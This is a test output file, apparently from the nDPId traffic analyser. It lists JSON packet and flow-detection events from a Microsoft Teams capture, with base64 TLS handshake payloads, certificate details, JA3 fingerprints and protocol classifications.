+02373{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1818,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":267727,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUw5RAAHYGgus0ccKEwKgBBgG77IqoHlkDRhs1iFAQBAEKpQAAFgMDFysCAABZAwNemFWVon9sUY4smg\/Tw8+Zv8VcFlbcOdwExviP9\/E9yiDtJgAAkTnSxwdrr6KK4vMnxfSrgFx0pEdWZA9lBe7G6sAwAAARAAUAAAAXAAD\/AQABAAAAAAALAA4qAA4nAAhpMIIIZTCCBk2gAwIBAgITewAM1sff2xxDrSCFcgAAAAzWxzANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwHhcNMTkxMjExMDIwNDIwWhcNMjExMjExMDIwNDIwWjAlMSMwIQYDVQQDExpjb25maWcudGVhbXMubWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKuoME\/5gx1HQd9sdy+s4YHawKf9J7S8dT4WfnUAqnYkdTyrmLaQGvnOVwm+Alg2MKjbLj7YlmrDEl+LlLhqsCOxTh+sGycfVj0hKsId4tssxk5dtSL14K6G+H0YBnvNUQu7vvVvTNCI4YPZj0lV\/ZKyol\/te+IRYafpXBi14wsmzo2lqeisNF9ulHu6A\/2xL\/FDFcQYFu8GUtZc\/1EHZiuH\/he6vLnSRl83OVtV\/yk0CSgW886Nb3\/WEJvOECPWn3DgxpU6jkEm4EvSs3adX1+bc\/i5J6\/gLUtUs6cAnmJtNvXs2pq\/f\/tijDc4rGLidlBdTF1jYL0uU8bsIVDJNSECAwEAAaOCBCUwggQhMIIBfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAW7yvGHMAAAEAwBHMEUCIGa+\/kHz87e\/oQ8aC69gj8\/aoYo\/tE6p\/Si82L3s3PkGAiEAhkZwyGwr5TrczZ4j5sAn1Yok0bmQ50Q1otYS4UIF5GkAdgDuwJXujXJkD5Ljw7kbxxKjaWoJe0tqGhQ45keyy+3F+QAAAW7yvGL7AAAEAwBHMEUCID+jfXayujZyLzrbTnDycGFeCHnUL4IvMp4VSwcYAXjjAiEA+Wo2YMDO1x5lLdfKexvP6AnwkgDNgKyPCWglZwJVdW4AdQBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAW7yvGL5AAAEAwBGMEQCIHZ5MUybiLcqRiY\/i+zyj6mrjZJKktvjmJq7sVfmPkqyAiBXLnK3UpG6nhefXHnnWSJys9aLqQm8v0FaMVa+Jt2CdTAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2E0t9CgueTegIBZAIBHTCBhQYIKwYBBQUHAQEEeTB3MFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcnQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLm1zb2NzcC5jb20wHQYDVR0OBBYEFLtL8OEZ7zs1ivteHY43T3pv1cy9MAsGA1UdDwQEAwIEsDBDBgNVHREEPDA6ghwqLmNvbmZpZy50ZWFtcy5taWNyb3NvZnQuY29tghpjb25maWcudGVhbXMubWljcm9zb2Z0LmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWlj"} +02364{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1819,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269229,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUw5VAAHYGguo0ccKEwKgBBgG77IqoHl6vRhs1iFAQBAEktwAAcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAbVNFS732wYQvpkp3TDu3jW5fDqMTSkI2h2vMgS6KsQ1QnCBa0j+Kz1QXRYKkRourVWeuaDA+ZX8fhYHy+mFVKIf93Uy3iALbB6EzeCzhBLgr0WXY+KnfFMc4DaThv6rNLAatFngta1jAOodkGyqq1eAE86s+M7+i462khCw5GrSfOsuQdoz+fi1d4Iqxt5D+efo7tL9jCs2k7qBfDzR5Jpqt4QO5jQgZY7tC+Qfc5IQs+OKqyuud7i5nhK9uBhU+9r1PgtOxtRYeRQSKjULmcKavWh36Lmq7BnvKlaWyxjMqLVFElt8\/Abr+9TPfLe3vBDrqBYzIhtFQ8w7UW2UefD5fgcAqtVRPFSLUHVqHAx2CiXnXIgB9uZIdlLUh5\/Me4AhuKHzx47glbPuFhf6zgzevdov27btHB45dG8flVKgj+dU5xDnbX+j4qyt+zoTjxwEUdfXCSNSY0rJsRk8\/zeFyE\/ESrRTEMlGN\/gzW616B42ihaLRYkPoDYvQYdmGgL3fIKU14Avf3mgnLPXIfAoF50JTW4rVtcYkTAJQYAi2Os00jlfHVd4+0DvnzANuY1WMbFSpokuD6AjYKqWuAdqZgmyAsXMDlXps7UtNi3\/9FrFJ6zXAQ7kaQCkkKzcTkyRYy4ioUXc1zYrS7rhFMfDnOlHnUFy1dCoDYRCmagG8ABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/jSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB"} +00408{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1820,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269295,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyKAbtGGzWIqB5kW1AQH9Jg+wAA"} +02377{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1821,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269358,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUw5ZAAHYGguk0ccKEwKgBBgG77IqoHmRbRhs1iFAQBAHmxQAA3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gWAAcrAQAHJzCCByMKAQCgggccMIIHGAYJKwYBBQUHMAEBBIIHCTCCBwUwgceiFgQU9kInIFSIlBnF7lkM4zZm22FFWzAYDzIwMjAwNDE0MTUyMTM0WjCBmzCBmDBMMAkGBSsOAwIaBQAEFE8LW9m32q+ftvNjciJ21uGVriYpBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fQITewAM1sff2xxDrSCFcgAAAAzWx4AAGA8yMDIwMDQxNDE1MjEzNFqgERgPMjAyMDA0MTgxNTIxMzRaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTUxNTIxMzRaMA0GCSqGSIb3DQEBCwUAA4IBAQATQ507yw6vXQ9SkxqSiuwqFDYhdDtHOzhNJIAnZNZDAFLLMkqLDJTOkR+sHiFJ7D6F12QBUqhl4i1wzjfWyPV3TRuKFFFq9flj0EIUdbxZ7fz7zJgFjyiAq6ohGhYj0fjHIz\/5GQh\/GI4n+nXQZ783K8MX2Pnml6ZVwtW\/ivBH+iKmzDmrC7N8pkWgU6C375no88yQw3n3yL1MxtfoGI0l\/KPHymVdhjKnF88PzP8iq+XcIqeK89iztt4N5EtKtebhWziLDkZLK9JIZHspyNbgI\/75V+wYqhlkOLEnix9QeL\/tnsSSIH7E9sQzRE2B8Md71jWvzxQjxu9r7QDWg5nroIIFIzCCBR8wggUbMIIDA6ADAgECAhNhABK1vVbJe1vazzKFAAAAErW9MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVk"} +00409{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1822,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269429,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyKAbtGGzWIqB5qB1AQIABbIQAA"} +02371{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1823,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269473,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUw5dAAHYGgug0ccKEwKgBBgG77IqoHmoHRhs1iFAQBAGsQwAAbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0yMDAzMTUxNTQxMjNaFw0yMTAzMTUxNTQxMjNaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfMV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm9PunaNFnz92aO8d4uH\/JCreP9UtdnH6Bv3+BjNMnU24H982v4wslFnOHRkeShM6dTut2u5yX3USK4TkHudmdpKCKlumoSspYbuV23UEmjEltXDdzSNYmzvQDOeZo9DyTtm0W9OcExDRacHKdHUSDCgp3idEbMLCXgoMPdcvciqUfRxxhpKEhzK6GRoNAmVI08HM6jLw+02rMYbuyQPnLJfaPIm6evkoCU6o9RORAng09ayQuSk72b1zEpJKOvFaK23Mnnwwb4jg93GQDHKSDRfL0BdvvWgSpMuv5U2HffFgVxCm1wKQl69Wj36qXQLZ2+wxv0swlG5nuGABQ6me1wIDAQABo4HWMIHTMB0GA1UdDgQWBBT2QicgVIiUGcXuWQzjNmbbYUVbMDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZjmdhpwvUwne4YtRiQs3dOLK5ba63GxG4DhqLLccO6A\/Gu5C1WAliMVEL8laAmZT5rjg7rZU63ADlU6i5dqMR9d65Gu\/P9sbyDYjevTB8j4VU8zV1e45gmS1fnTxH\/L14iqqM3+BWmprexDyUCWsXRJxp70y2N2YVZOquaqZFIwT4zprb8MBujdP7iFkk8soOpf\/l5U+mse\/W63G1wria\/aCHeEKWVe5F2v21NaIvfUgT9wStvUyhVk\/6WDBFypCre8c05o6zB2kA3b8eGeE56uGm26VL14MWExRNwnneVTysASyklJztTJjKIJiCZ7UsldbRUSdIVZyB+rsUuFxEs2yfP+8euVoeKkH9FEh8fTVfqGv3pafupuN0u\/\/dLN4soa06DNvTDUQWkRRbO6el56U4uvdsc3yBYOUpCEfZdmlCUuiesiTGTZKjg6Pel9E6aM1lPKUoFEgORCSp0t9xzpsHahiQos2LCym9Pi5bAvWTLeT65NzwDYJWd9xkcPSHaqNaXxrfEmnDhHqFEHA0H5fZSslXa7f\/DeJ3nBxZ+H4M2s+WWZ1FXymQaVNiFwcz61dh2ni95gdfAdhA51nQgJKXcgCvW0sx8AMX+76lmXRTxCdRB3NUS9Zk+plCHydbLwht6fHuAcJFjDcQTuMBm+4m9NXfOoK2aCNAEf7l1IMAAFpAwAYYQRsf0uDmNKLJMeXHDZT0rfSfJS0YLu\/bNhtzdpDmZmv8ma9KGaKhbTpzUwtn+ftaZbx8rgClygx+yMxR7e4zKtAmcY+KBoVy9Pm22bWMCV0xzBqYQjq2W\/LcgoXQQ+8DfcEAQEAFs5VYCTZMkBsKc6j\/UO8aegTX42l6mEtjxcpF4fJCxlS6IcQIfcCZeQV2fZLTvVQ\/Ez0b7C9+zA0gHWVT\/TMxd2avgCyCGEEjtePKrowtFv0Ee6PrRZfjOrT3MTDYsLN\/dZDWa76luBUbueF0lYElHQaCMEtS0ExGpJcr\/mMQXKl8uBv"} +00587{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1824,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269476,"pkt_caplen":182,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":182,"pkt_l4_len":148,"pkt":"KDc3AG3IEBMx8Tl2CABFAACow5hAAHYGiBM0ccKEwKgBBgG77IqoHm+zRhs1iFAYBAG7UwAA0mcjUfghRDb\/G5+kNE504qga61CM4XWHMBZPM70HVY6bl5nTW4wMgEeYhASKAuc9\/c\/3xIbCGqTe4byauDnwt4gDPGW+QsBCOLLeXL0uNApF+1lxuJWGCd0dT62LqmKvy+IaoLTNxa2wjndjRezbtFElebsXF2K1eQmjcw4AAAA="} +01136{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1824,"source":"teams.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":12,"flow_first_seen":1587041685240,"flow_last_seen":1587041685269,"flow_tot_l4_data_len":6398,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":533,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60554,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"config.teams.microsoft.com","server_names":"*.config.teams.microsoft.com,config.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"7d8fd34fdb13a7fff30d5a52846b6c4c","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1","issuerDN":"CN=config.teams.microsoft.com","fingerprint":"B9:54:54:12:C9:E9:43:65:10:70:04:7B:AD:B6:0C:46:06:38:A5:FA"}} +00409{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1825,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":269514,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyKAbtGGzWIqB5wM1AQH85VJwAA"} +00436{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1828,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":278616,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8aa1AAGwGYc00ck0hwKgBBgG77IgacWa+co2TlKASIABIJQAAAgQFoAEDAwgEAggKYR7cGTCEuUo="} +00424{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1829,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":278702,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyIAbtyjZOUGnFmv4AQEAmGrAAAAQEICjCEuXNhHtwZ"} +00705{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1830,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":278900,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIeyIAbtyjZOUGnFmv4AYEAk6ggAAAQEICjCEuXNhHtwZFgMBAMkBAADFAwO15W+8jaHI2sAcvPxYu3fOurYjru\/fmNz9T6MzJf3JQCDMFgAAPSmx1EB8rJYwgB6DDk65Ho1qqYZPmBoFpBpgkAAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1830,"source":"teams.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1587041685232,"flow_last_seen":1587041685278,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60552,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00436{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1833,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":280598,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8VD9AAGwGx0kofgkHwKgBBgG77IwJMzAcxeiHxqASIADLBQAAAgQFoAEDAwgEAggKUkq4VzCEuV0="} +00424{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1834,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":280662,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5HAqAEGKH4JB+yMAbvF6IfGCTMwHYAQEAkJnwAAAQEICjCEuXRSSrhX"} +00758{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1835,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":281210,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEqAABAAEAGRpvAqAEGKH4JB+yMAbvF6IfGCTMwHYAYEAl4\/QAAAQEICjCEuXVSSrhXFgMBAPEBAADtAwMO1aNpNC\/DfNA+zTgvlq4OTJH4Eaani+1AUzQaqTtdmgAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACc\/wEAAQAAAAAeABwAABlsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tABcAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAADN0AAAAEgAAABAAMAAuAmgyBWgyLTE2BWgyLTE1BWgyLTE0CHNwZHkvMy4xBnNwZHkvMwhodHRwLzEuMQALAAIBAAAKAAoACAAdABcAGAAZ"} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1835,"source":"teams.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1587041685251,"flow_last_seen":1587041685281,"flow_tot_l4_data_len":394,"flow_min_l4_data_len":32,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.7","src_port":60556,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"login.microsoftonline.com","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00560{"flow_id":45,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1836,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":291122,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"EBMx8Tl2KDc3AG3ICABFAACTAABAAEAGgcHAqAEGNHHChOyKAbtGGzWIqB5wM1AYIAA3KwAAFgMDAGYQAABiYQTSPsjxWGWz4pCe4\/e9vVSjl\/Z8Q0uN7k1kWUEcGAc3\/Gbp5QJzgkXHFiB4HT74NNZrxT8zrukht5BQ2pVsvaE9T\/TxBN83rZAPJ4GFxp7hMLAUr2QcDHEgUN74E6qDjiI="} +00436{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1841,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":294102,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8VA1AAGwGd200ck0hwKgBBgG77IvHJo2qMLP5JqASIAAqDQAAAgQFoAEDAwgEAggKYR8CxDCEuVo="} +00425{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1842,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":294163,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyLAbsws\/kmxyaNq4AQEAlolwAAAQEICjCEuYBhHwLE"} 